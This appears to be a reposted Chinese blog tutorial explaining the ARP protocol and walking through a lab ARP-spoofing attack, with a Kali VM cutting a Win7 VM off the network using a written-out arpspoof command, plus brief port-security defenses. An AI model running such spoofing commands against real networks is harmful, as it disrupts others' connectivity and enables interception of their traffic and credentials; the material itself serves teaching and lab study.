ARP学习及断网攻击

1.什么是ARP

         ARP(Address Resolution Protocol)是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中,每个网络接口都有一个唯一的MAC地址(Media Access Control address),用于识别网络设备。

而IP地址(Internet Protocol address)则是用于标识网络上设备的逻辑地址。ARP协议的作用就是在这两种地址之间建立映射关系,以便计算机能够正确地将IP地址转换为MAC地址,从而实现数据包的正确传输。

2.ARP工作原理

当一个设备需要发送数据到一个具有特定IP地址的设备时,它会首先发送一个ARP请求广播,询问该IP地址对应的MAC地址是什么,而拥有该IP地址的设备会回复一个包含自己MAC地址的ARP响应。这样,发送设备就能获得目标设备的MAC地址,进而将数据包发送到正确的目标。

3.ARP协议(Address Resolution Protocol)

主要作用是在局域网中解析网络层的IP地址到链路层的MAC地址。这个协议对于网络通信是非常关键的,因为虽然IP地址用于网络层的通信,但实际的数据帧在物理网络上是通过MAC地址进行传输的。

  1. 地址映射:ARP允许设备发现局域网内其他设备的物理地址。当一个设备知道另一个设备的IP地址但不知道其MAC地址时,它会使用ARP来获取对应的MAC地址。

  2. 数据包传输:在发送数据包时,网络设备需要知道目标设备的MAC地址以便将数据包正确地发送到该设备。ARP通过提供这一地址转换,使得数据包能够在局域网内正确传递。

  3. 网络通信的桥接:ARP协议帮助不同网络协议(如IPv4)与物理网络(如以太网)之间进行桥接,使得使用不同技术的网络设备可以互相通信。

  4. 缓存机制:设备通常会在一个本地缓存中存储ARP响应,称为ARP缓存。这样,它们可以在需要时快速查找已知的IP到MAC的映射,减少网络上的ARP请求,从而提高网络效率。

  5. 网络配置与故障排除:ARP还可以用来帮助网络管理员监控和配置网络,例如,通过观察ARP流量来检测网络上的配置错误或冲突。

哈哈哈,搞复杂了,其实很简单,用一句话总结就是:当设备需要将IP地址转换为MAC地址时,ARP协议就派上用场。它通过询问局域网内其他设备,获取目标设备的MAC地址,以确保数据包能够正确传输。这里借用小菜学编程的一张图比较清晰:

4.ARP常用命令

  1. 查询arp表:

 arp -a   

2.删除表内某个IP

arp -d IP      

3.tcp抓某块网卡的所有arp请求

tcpdump -i eth0 -nn arp     

4.tcp抓取指定ip的请求

  tcpdump -i eth0 -nn arp  and host IP     

5.ARP断网攻击

原理:

向目标主机不断的发送ARP报文,然后将其报文中的网关Mac地址设置成为攻击机的主机MAC地址, 然后目标主机想要访问网络发送数据包时,都会发送到攻击机,然后攻击机只需要做一个丢弃数据包的 命令,就可以断掉目标主机的网络了。

准备工作:

两台虚拟机,一台kali作为攻击方,另一台win7作为被攻击方
需要注意的时,两台主机需要在同一个局域网,并且网络通畅。

工具介绍:

arpspoof [spuːf] 是一个好用的ARP欺骗工具,攻击者通过毒化受害者ARP缓存,将网关MAC替换为攻击者MAC,然后攻击者可截获受害者发送和收到的数据包,从而获取受害者账户、密码等相关敏感信息。Kali linux中自带了该工具。

命令使用讲解

arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
-i:指定网卡
-c:攻击机的IP
-t 目标机器的IP
-r:网关IP

具体步骤:

1.1查看kali的ip:

ip a

1.2 查看windows的ip:

ipconfig /all

1.3 windows ping kali:

ping kali——ip

1.4 win7 查看arp表,记录网关的信息

arp -a |findstr 网关

2.kali进行断网攻击

arpspoof -i eth0 -r 192.168.110.1 -t 192.168.110.12
-i:指定网卡
-r:指定网关ip
-t:指定靶机ip

3.win7 查看网络连接 和 kali 的网络链接

ping www.baidu.com

4.win7查看此时的arp表

arp -a 
或者
arp -a |findstr 网关

5.结束断网攻击

ctrl+C

6.win7重新查看网络状态

ping www.baidu.com

7.win10重新查看arp表

arp -a |findstr 网关

总结与防御:


ARP(地址解析协议)断网攻击通常是通过发送伪造的ARP消息来进行的,目的是改变局域网内其他设备的ARP缓存,使流量被错误地发送到攻击者的设备上,从而进行中间人攻击或导致网络中断。这种攻击称为ARP欺骗或ARP缓存投毒。以下是一些防范ARP断网攻击的策略:

从原理上来看,如果你发现了端口上有多个MAC地址,那基本就很明显了,

使用高新的交换机支持端口安全特性,可以限制连接到特定物理端口的MAC地址数量。通过这种方式,如果检测到端口上有多个MAC地址,则可以配置交换机自动关闭该端口,防止可能的ARP攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/659924.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tomcat部署

1.客户端和服务器端的交互过程 客户端发送请求给服务器 由服务器中的服务器软件拦截请求 根据请求调动相应的Java业务逻辑执行相关的处理 我们前面知道Java代码的运行势必提前将其装载在JVM上 而服务器软件一般都是由Java代码编写 所以两者都要装载在JVM上 而Java业务逻辑装载…

个人学习资源整理

文章目录 视频相关stl源码讲解相关 网站相关CPP网站 视频相关 stl源码讲解相关 跳转 网站相关 CPP网站 https://cplusplus.com/ https://gcc.gnu.org/

C语言实验-函数与模块化程序设计

一: 编写函数fun,其功能是:输入一个正整数,将其每一位上为偶数的数取出重新构成一个新数并输出。主函数负责输入输出,如输入87653142,则输出8642。(main函数->fun函数) #define _…

解决RuntimeError: cuDNN error: CUDNN_STATUS_EXECUTION_FAILED

下图说明在一瞬间我的GPU就被占满了 我的模型在训练过程中遇到了 CUDA 相关的错误,这是由于 GPU资源问题或内存不足导致的。这类错误有时候也可能是由于某些硬件兼容性问题或驱动程序问题引起的。 为了解决这个问题,可以尝试以下几个解决方案&#xff1a…

实验14 MVC

二、实验项目内容&#xff08;实验题目&#xff09; 编写代码&#xff0c;掌握MVC的用法。【参考课本 例1 】 三、源代码以及执行结果截图&#xff1a; example7_1.jsp&#xff1a; <% page contentType"text/html" %> <% page pageEncoding "ut…

【C/C++】动态内存管理(C:malloc,realloc,calloc,free || C++:new,delete)

&#x1f525;个人主页&#xff1a; Forcible Bug Maker &#x1f525;专栏&#xff1a; C | | C语言 目录 前言C/C内存分布C语言中的动态内存管理&#xff1a;malloc/realloc/realloc/freemallocrealloccallocfree C中的动态内存管理&#xff1a;new/deletenew和delete操作内…

2-4 任务:等差数列求和

本次实战的目标是计算1到100的累加和。我们将使用Java编程语言&#xff0c;通过三种不同的循环结构&#xff08;for循环、while循环和do-while循环&#xff09;来实现这个任务。在每个循环结构中&#xff0c;我们将逐步累加数字&#xff0c;并在最后输出结果。 首先&#xff0…

从零开始构建大语言模型(MEAP)

原文&#xff1a;annas-archive.org/md5/c19a4ef8ab1664a3c5a59d52651430e2 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 一、理解大型语言模型 本章包括 大型语言模型&#xff08;LLM&#xff09;背后的基本概念的高层次解释 探索 ChatGPT 类 LLM 源自的 Transfo…

电源远端电压补偿

看、。。 全开源DIY&#xff5c;手搓1台Mini数控电源&#xff08;1&#xff09;_哔哩哔哩_bilibili 特此记录 anlog 2024年4月30日 其他一些原理图 功率部分 电源防反接以及缓启动 输出电路&#xff08;注意R1,R2,R3用于恒流控制&#xff09; 全桥自动升降压电路 自动升降…

初识Linux -- Linux的背景和发展史介绍

点赞关注不迷路&#xff01;&#xff0c;本节涉及初识Linux&#xff0c;主要为背景介绍和xshell登录主机。 1.Linux背景 1.1 发展史 Linux从哪里来&#xff1f;它是怎么发展的&#xff1f;在这里简要介绍Linux的发展史。 要说Linux&#xff0c;还得从UNIX说起。 1.2 UNIX发…

怎么在JMeter中的实现关联

我们一直用的phpwind这个系统做为演示系统, 如果没有配置好的同学, 请快速配置之后接着往下看哦. phpwind发贴时由于随着登陆用户的改变, verifycode是动态变化的, 因此需要用到关联. LoadRunner的关联函数是reg_save_param, Jmeter的关联则是利用后置处理器来完成. 在需要查…

叶工好容7-Ingress的由来

目录 前言 第一章&#xff1a;Service 第二章&#xff1a;ServiceLB 第三章&#xff1a;ServiceLBNginx 第四章&#xff1a;ServiceIngress 总结 前言 吃透一个技术&#xff0c;不仅要掌握详细的用法能够熟练的操作&#xff0c;更需要掌握技术出现的前因后果。不会平白无…